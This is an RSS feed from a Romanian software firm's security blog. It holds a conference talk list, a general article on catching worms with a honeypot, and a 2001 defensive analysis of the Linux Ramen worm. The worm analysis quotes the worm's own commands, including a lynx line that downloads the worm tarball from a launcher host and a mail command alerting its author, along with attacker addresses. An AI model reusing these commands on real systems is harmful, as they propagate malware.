<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>TFM Group Software &#187; Security</title>
	<atom:link href="http://www.tfm.ro/category/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.tfm.ro</link>
	<description>TFM Group Software</description>
	<lastBuildDate>Sat, 27 Aug 2011 21:42:23 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Conferinta ROSDEV 2008</title>
		<link>http://www.tfm.ro/conferinta-rosdev-2008/</link>
		<comments>http://www.tfm.ro/conferinta-rosdev-2008/#comments</comments>
		<pubDate>Tue, 15 Apr 2008 15:11:03 +0000</pubDate>
		<dc:creator>mihaim</dc:creator>
				<category><![CDATA[Documentation]]></category>
		<category><![CDATA[First page]]></category>
		<category><![CDATA[HowTo]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[rosdev2008]]></category>

		<guid isPermaLink="false">http://www.tfm.ro/?p=33</guid>
		<description><![CDATA[Pe 12 Aprilie 2008 a fost fost a doua editie a conferintei ROSDEV. Cei care nu au putut ajunge la conferinta si nu au urmarit transmisia live pe internet a conferintei au totusi posibilitatea de a urmari inregistrarea prezentarilor. Ramona Modroiu &#8211; Deschidere ROSDEV_2008 Razvan Rughinis &#8211; Open Source in Mediul Academic. Partea 1 Razvan [...]]]></description>
			<content:encoded><![CDATA[<p>Pe 12 Aprilie 2008 a fost fost a doua editie a conferintei ROSDEV. Cei care nu au putut ajunge la conferinta si nu au urmarit transmisia live pe internet a conferintei au totusi posibilitatea de a urmari inregistrarea prezentarilor.</p>
<p><span id="more-33"></span></p>
<ul>
<li>Ramona Modroiu &#8211; Deschidere ROSDEV_2008</li>
</ul>
<p><img src="http://www.tfm.ro/wp-content/plugins/flash-video-player/default_video_player.gif" /></p>
<ul>
<li>Razvan Rughinis &#8211; Open Source in Mediul Academic. Partea 1</li>
</ul>
<p><img src="http://www.tfm.ro/wp-content/plugins/flash-video-player/default_video_player.gif" /></p>
<ul>
<li>Razvan Rughinis &#8211; Open Source in Mediul Academic. Partea 2</li>
</ul>
<p><img src="http://www.tfm.ro/wp-content/plugins/flash-video-player/default_video_player.gif" /></p>
<ul>
<li> Mihai Jalobeanu &#8211; Linux si Mediile Virtuale de Instruire</li>
</ul>
<p><img src="http://www.tfm.ro/wp-content/plugins/flash-video-player/default_video_player.gif" /></p>
<ul>
<li> Bogdan Radulescu &#8211; Distributia Linux Nimblex</li>
</ul>
<p><img src="http://www.tfm.ro/wp-content/plugins/flash-video-player/default_video_player.gif" /></p>
<ul>
<li> Liviu Andreicut &#8211; Sisteme monitorizare video / administrare centralizata servere</li>
</ul>
<p><img src="http://www.tfm.ro/wp-content/plugins/flash-video-player/default_video_player.gif" /></p>
<ul>
<li> Zoltan Orban &#8211; AbelCRM</li>
</ul>
<p><img src="http://www.tfm.ro/wp-content/plugins/flash-video-player/default_video_player.gif" /></p>
<ul>
<li> Zsolt Bodi &#8211; Code Igniter</li>
</ul>
<p><img src="http://www.tfm.ro/wp-content/plugins/flash-video-player/default_video_player.gif" /></p>
<ul>
<li> Virgi Adrian Teaca &#8211; DARKSTAR Part 1</li>
</ul>
<p><img src="http://www.tfm.ro/wp-content/plugins/flash-video-player/default_video_player.gif" /></p>
<ul>
<li> Virgi Adrian Teaca &#8211; DARKSTAR Part 2</li>
</ul>
<p><img src="http://www.tfm.ro/wp-content/plugins/flash-video-player/default_video_player.gif" /></p>
<ul>
<li> Daniel Constantin Mierla &#8211; Open Source si VoIP</li>
</ul>
<p><img src="http://www.tfm.ro/wp-content/plugins/flash-video-player/default_video_player.gif" /></p>
<ul>
<li> Cosmin Elefterescu &#8211; Platforma VoIP Open Source in Campusul Universitar</li>
</ul>
<p><img src="http://www.tfm.ro/wp-content/plugins/flash-video-player/default_video_player.gif" /></p>
<ul>
<li> Catalin Balan &#8211; OForge</li>
</ul>
<p><img src="http://www.tfm.ro/wp-content/plugins/flash-video-player/default_video_player.gif" /></p>
<ul>
<li> Craciun Attila &#8211; Bluewhite64</li>
</ul>
<p><img src="http://www.tfm.ro/wp-content/plugins/flash-video-player/default_video_player.gif" /></p>
<ul>
<li> Razvan Deaconescu &#8211; ROSEdu</li>
</ul>
<p><img src="http://www.tfm.ro/wp-content/plugins/flash-video-player/default_video_player.gif" /></p>
<ul>
<li> Marian Banica &#8211; Open Source for Higher Education</li>
</ul>
<p><img src="http://www.tfm.ro/wp-content/plugins/flash-video-player/default_video_player.gif" /></p>
<ul>
<li> Iulian Nicu Serbanoiu &#8211; Generator Minimal de Voce</li>
</ul>
<p><img src="http://www.tfm.ro/wp-content/plugins/flash-video-player/default_video_player.gif" /></p>
<ul>
<li> Angelescu Ovidiu &#8211; RoFreeSBIE</li>
</ul>
<p><img src="http://www.tfm.ro/wp-content/plugins/flash-video-player/default_video_player.gif" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.tfm.ro/conferinta-rosdev-2008/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Analiza Ramen Worm</title>
		<link>http://www.tfm.ro/analiza-ramen-worm/</link>
		<comments>http://www.tfm.ro/analiza-ramen-worm/#comments</comments>
		<pubDate>Mon, 03 Mar 2008 22:53:19 +0000</pubDate>
		<dc:creator>mihaim</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[honeypot]]></category>
		<category><![CDATA[ramen]]></category>
		<category><![CDATA[Ramen worm]]></category>
		<category><![CDATA[reverse engineering]]></category>

		<guid isPermaLink="false">http://www.tfm.ro/analiza-ramen-worm/</guid>
		<description><![CDATA[In 2001 am prins , analizat , disecat primul malware de linux cu autoreplicare ce a primit numele de Ramen Worm. La vremea respectiva au aparut articole in toate publicatiile online majore. Aceasta analiza este pastrata aici din motive istorice in primul rind. Ramen Worm - General Details ============================== 1. Is this realy a worm [...]]]></description>
			<content:encoded><![CDATA[<p>In 2001 am prins , analizat , disecat primul malware de linux cu autoreplicare ce a primit numele de Ramen Worm. La vremea respectiva au aparut articole in toate publicatiile online majore. Aceasta analiza este pastrata aici din motive istorice in primul rind. </p>
<pre>Ramen Worm - General Details
==============================

1. Is this realy a worm ?
Yes it is .
2. Why ?
It has multiplication ability and it does not infect executables file in order
to multiplicate so it can not be considered a Virus .
3. Multiplication technique :
It will scan whole networks ( random B class networks XXX.XXX.0.0/255.255.0.0 in order find vulnerable systems.
Once a vulnerable system is found it will take control of it ( the worm will have root access on compromised machine) ,
copy itself to the target , and start scanning .

4. Vulnerabilities exploited by the worm
wu-ftpd version 2.6.0
LPRng format vulnerability
rpc.statd    vulnerability

5. Systems Affected
Strings found in the worm indicates that the following systems are targeted :
Redhat 6.0 - (knfsd-1.2.2-4)
Redhat 6.1 - (knfsd-1.4.7-7)
Redhat 6.2 - (nfs-utils-0.1.6-2)
RedHat 7.0 - Guinesss-dev
RedHat 7.0 - Guinesss
but can be affected any other linux running wu-ftpd 2.6.0 or rpc.statd

6.   Systems that are not affected
Win 9x , Win NT , Win 2000
Non X86 Unixes.

7. Worm effects
a) Once a system is compromised the worm will find and replace any index.html file with one file carried inside worm .
b) it will disable on compromised machine FTP anonymous access to the machine ( my oppinion this is a "bug" in the worm )
c) it will disable and erase rpc.statd from the compromised machine
d) it will disable and erase lpd deamon from the compromised machine so any printing on that machine will be impossibe .
e) it will modify inetd.conf on RedHat 6.x and xinetd.conf on RedHat 7.0 and install a fake webserver
on a non standard port (my oppinion it can contain also a buffer overflow exploitable
remotely. But i could't prove that yet). By installing this it allows the spread of the worm.
f) it will remove /etc/hosts.deny
g) it will modify /etc/rc.d/rc.sysinit allowing the worm to be started each time machine is rebooted .
h) it will send mail to the following addreses ( this 2 mail addreses and a password "bl3h" were encrypted in the worm )
   gb31337@hotmail.com
   gb31337@yahoo.com
i) Once worm starts scanning it will consume a large amount of your internet bandwidth. The scanning is verry fast due to
usage of synscan technique .
j) Once the system is rebooted it will restart scanning .

8. Spreading
The worm is spreading very fast due to his very fast Class B network scanning technique . On our network (10 Mb / sec)
the hub was in limitation and the whole bandwidth was consummed. It scanned 2 "B classes" in 15 minutes.

9. Danger
The worm itself seemns is dangerous due to network bandwith consumation , and due to posibility ( not proved yet ) of
remote accessing the compromised box by the worm author.

10. Percentage of boxes vulnerable
There are many boxes vulnerable. It is quite common that Redhat 6.2 or Redhat 7.0 to be installed "standard" making
them vulnerable to this worm. My estimation is that in a class B network worm will find at least 10-20 vulnerable boxes.

My Original postings to BugTraq:
================================

=================================================================================
=================================================================================

Subject:
  sunrpc / wu-ftpd worm ?
Date:
  Mon, 15 Jan 2001 22:41:50 +0200
From:
  Mihai Moldovanu mihaim AT PROFM dot RO
Organization:
  Radio ProFM
To:
  INCIDENTS at SECURITYFOCUS DOT COM
References:
  1

Cristian Dumitrescu wrote:

&gt; Hey
&gt; I've been experiencing the same kind of scans in the last 2 weeks, with
&gt; increased density in the last days, from these ip addreses:
&gt;
&gt; 211.120.63.136
&gt; 213.154.132.122
&gt; 210.205.6.215
&gt; 24.114.48.24
&gt; 62.83.125.82
&gt; 193.231.199.4
&gt; 193.40.223.66
&gt; 65.3.3.83
&gt; 193.230.227.234
&gt; &gt; 24.26.121.156
&gt; &gt; 24.168.66.119
&gt; &gt; 64.31.226.156
&gt; &gt; 142.169.227.102
&gt; &gt; 193.226.15.15
&gt; &gt; 211.218.144.11

Same problems here :
38.232.191.200
24.169.70.243
194.102.254.118
63.146.209.50

But the most interesting is :
130.111.148.69 wich seems to be a worm launcher site .
It will connect to the taget machine on 111 or 21 and will exploit the well
known
rpc.statd and wu-ftp 2.6.0 bug to
gain root on the remote machine.

The tar itself is downloaded from the that machine on port 27374 .

" lynx -source http://%s:27374 &gt; /usr/src/.poop/ramen.tgz "

After a succesfull install it seems it will send a mail with the command :
" echo Eat Your Ramen! | mail -s % % " to some obscure hotmail.com account .

It seems that it has some sort of class B scanner and exploits for rpc.statd and
wu-ftpd

If anyone is interested in taking a deeper look in it mail me and i will send
the
.tgz  or you can get it from the site i mentioned above.

Best Regards,

--
Lead programmer,
Mihai Moldovanu (mihaim at profm dot ro)
WEB:    http://tfm.profm.ro/

http://www.slashdot.ro/

=================================================================================
=================================================================================

Subject:
  Re: anyone else seen an increase in sunrpc scans these days?
Date:
  Mon, 15 Jan 2001 14:40:16 +0200
From:
  Mihai Moldovanu mihaim at profm dot ro
Organization:
  Radio ProFM
To:
  INCIDENTS at SECURITYFOCUS dot COM
References:
  1

Jason Lewis wrote:

&gt; I couldn't find any of those addresses, but I have similar scans in my logs.
&gt;
&gt; 63.91.6.36
&gt; 64.32.209.213
&gt; 64.21.114.2
&gt; 66.22.62.2
&gt; 216.98.160.251

Yes . The same problem here . But not only 111 . 21 also.
We deployed a honnypot and waited to be compromised. It took 12 hours to be
compromised. I took it out of the network
and this is what i found on it :
It seemns like a worm that installs StatDXscan  ( Class B rpc.statd scanner) ,
wu-ftpd scanner , a modified t0rn rootkit along with Adore LKM rootkit , and
flood
tools : Sl2 , smurf5 , tojaned sshd running on port 48480 )
t0rnscan  has inside it the following string:  irc.webbernet.net:6667

--
Lead programmer,
Mihai Moldovanu (mihaim at profm dot ro)
WEB:    http://tfm.profm.ro/

http://www.developers.ro/

=================================================================================
=================================================================================
Subject:
  Ramen worm . More details on it. ( found a password and e-mails crypted inside it)
Date:
  Tue, 16 Jan 2001 22:19:30 +0200
From:
  Mihai Moldovanu mihaim at profm dot ro
Organization:
  Radio ProFM
To:
  INCIDENTS at SECURITYFOCUS dot COM
References:
  1

I completed reverse engineering the ramen worm. There are 3 crypted text
messages in the worm :
2 are email addresses :
Decrypted: "gb31337@hotmail.com" ,  in executable -&gt;  "fa20226?gnsl`hk-bnl"
Decrypted: "gb31337@yahoo.com" ,   in executable -&gt;  "fa20226?x`gnn-bnl"
and a crypted password :
Decrypted "bl3h"  ,   in executable -&gt; "ak2g"
This texts can be found in almost all ELF worm executables.
Crypting algorithm is verry easy.

For each characted in crypted text add 1 and you will obtain the plain text
i used the following C code to decrypt :

for (i= 0 ;i &lt; strlen(text) ;i++) a[i] = a[i] +1;

The asp executable ( the one wich get's installed in /sbin/asp and serve
requests on 27374 )  has a strange getline function coded wich
seems to be specialy crafted to allow remote upload / execution of code .
Unfortunately I can't prove that function have a buffer
overflow in it .

--
Lead programmer,
Mihai Moldovanu (mihaim at profm dot ro)
WEB:    http://www.tfm.ro

http://linux.tfm.ro

http://portal.tfm.ro

http://www.slashdot.ro</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.tfm.ro/analiza-ramen-worm/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Analiza generica malware</title>
		<link>http://www.tfm.ro/analiza-generica-malware/</link>
		<comments>http://www.tfm.ro/analiza-generica-malware/#comments</comments>
		<pubDate>Mon, 03 Mar 2008 12:59:40 +0000</pubDate>
		<dc:creator>mihaim</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Analiza malware]]></category>
		<category><![CDATA[debuggers]]></category>
		<category><![CDATA[honeypot]]></category>
		<category><![CDATA[Ramen worm]]></category>
		<category><![CDATA[reverse engineering]]></category>

		<guid isPermaLink="false">http://www.tfm.ro/?p=3</guid>
		<description><![CDATA[Cum se prinde o rima de internet folosind un honeypot In primul rand ce este o rama de internet ? O rima e un program care are capabilitatea de a se multiplica si de a se &#8220;muta&#8221; de pe un sistem pe altul folosind găuri de securitate in sistemele respective . Studiul unei rime de [...]]]></description>
			<content:encoded><![CDATA[<h2> Cum se prinde o rima de internet folosind un honeypot</h2>
<h3> In primul rand ce este o rama de internet ?</h3>
<p>O rima e un program care are capabilitatea de a se multiplica si de a se &#8220;muta&#8221; de pe un sistem pe altul folosind găuri de securitate in sistemele respective .</p>
<p>Studiul unei rime de internet poate fi fascinant însă de obicei ca sa studiezi o rima trebuie sa o ai &#8230; Iar ca sa o ai exista 2 posibilităţi :</p>
<ul>
<li> O downloadezi de pe diverse site-uri sau newsgrupuri &#8230;</li>
<li> O prinzi singur</li>
</ul>
<p>A doua posibilitate trebuie sa recunoaştem este mult mai interesanta.</p>
<h3> Scule necesare</h3>
<p>Un sistem honeypot si scule de analiza a executabilelor.</p>
<h3> Cum se realizează un honeypot de prins rime</h3>
<p>Având in vedere ca rimele sunt programe automate care scanează de obicei după nişte găuri de securitate fixe , probabilitatea de a prinde o rima pe honeypot este mult mai mare decit a prinde un blackhat .</p>
<p>Dar, având in vedere ca rimele nu poseda &#8220;inteligenta&#8221; si de regula nu au mecanisme de verificare de honeypot, problema se poate simplifica destul de mult . Se poate folosi de exemplu vmware + sistemul de operare dorit sau UML + linuxul dorit. Mare atenţie insa. O rima intrata in honeypot nu va sta prea mult pe gânduri si va începe sa atace alte sisteme. De aceea trebuie pus la punct FOARTE bine sistemul de control de trafic outgoing de pe honeypot. Daca aceste scripturi nu sunt puse bine la punct atunci riscul ca rima sa infecteze alte sisteme este mare si NU va doriţi ca o rima prinsa intr-un honeypot sa &#8220;fuga&#8221; in alta parte &#8230;</p>
<p>Odată toate scripturile făcute, honeypotul activ tot ce rămâne de făcut este sa aşteptaţi.</p>
<p>Presupunând ca honeypot-ul e infectat cu rima. Ce facem mai departe ?  Acum intervine partea complicata si cea mai interesanta .</p>
<h3> Analiza rimei</h3>
<p>Partea de disecţie daca preferaţi termenul .</p>
<p>Pentru disecţie (reverse engineering) sint o gramada de scule ajutătoare. Informaţii detaliate cu privire la reverse engineering se găsesc , culmea ironiei , pe cel mai vechi si bun site de cracking (www.fravia.org). Acolo gasiti foarte multe informaţii utile despre principiile reverse engineering, how-to, tutoriale. Site-ul este in mare parte dedicat platformei windows dar principiile sint similare.</p>
<p>La data la care am inceput sa scriu la acest &#8220;articol&#8221; IDA nu era disponibila pentru linux (www.datarescue.com). <em>news &#8230; ida e disponibila si pe linux</em>. Este scula cea mai folosita pentru dezasamblarea unui executabil. Si este foarte folositoare in momentul in care vrei sa înţelegi ce se întâmplă in interiorul unui executabil atunci cind nu ai sursele de la executabil. IDA fiind aplicaţie de Win32 va fi nevoie de wine sau vmware pentru a fi rulată .</p>
<p>La capitolul debugers linuxul sta bine. Evident un debugger gen SoftIce ( pentru win32 ) eu nu am văzut pe linux. Dar se poate lucra relativ uşor cu gdb sau xgdb.</p>
<p>Restul de scule ajutătoare pentru analiza unei rime de obicei se fac la fata locului. Adică se programează. Sculele de baza pentru reverse engineering rămân totuşi: un dezasamblor , un debugger si multa multa răbdare .</p>
<p>Va urma.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tfm.ro/analiza-generica-malware/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

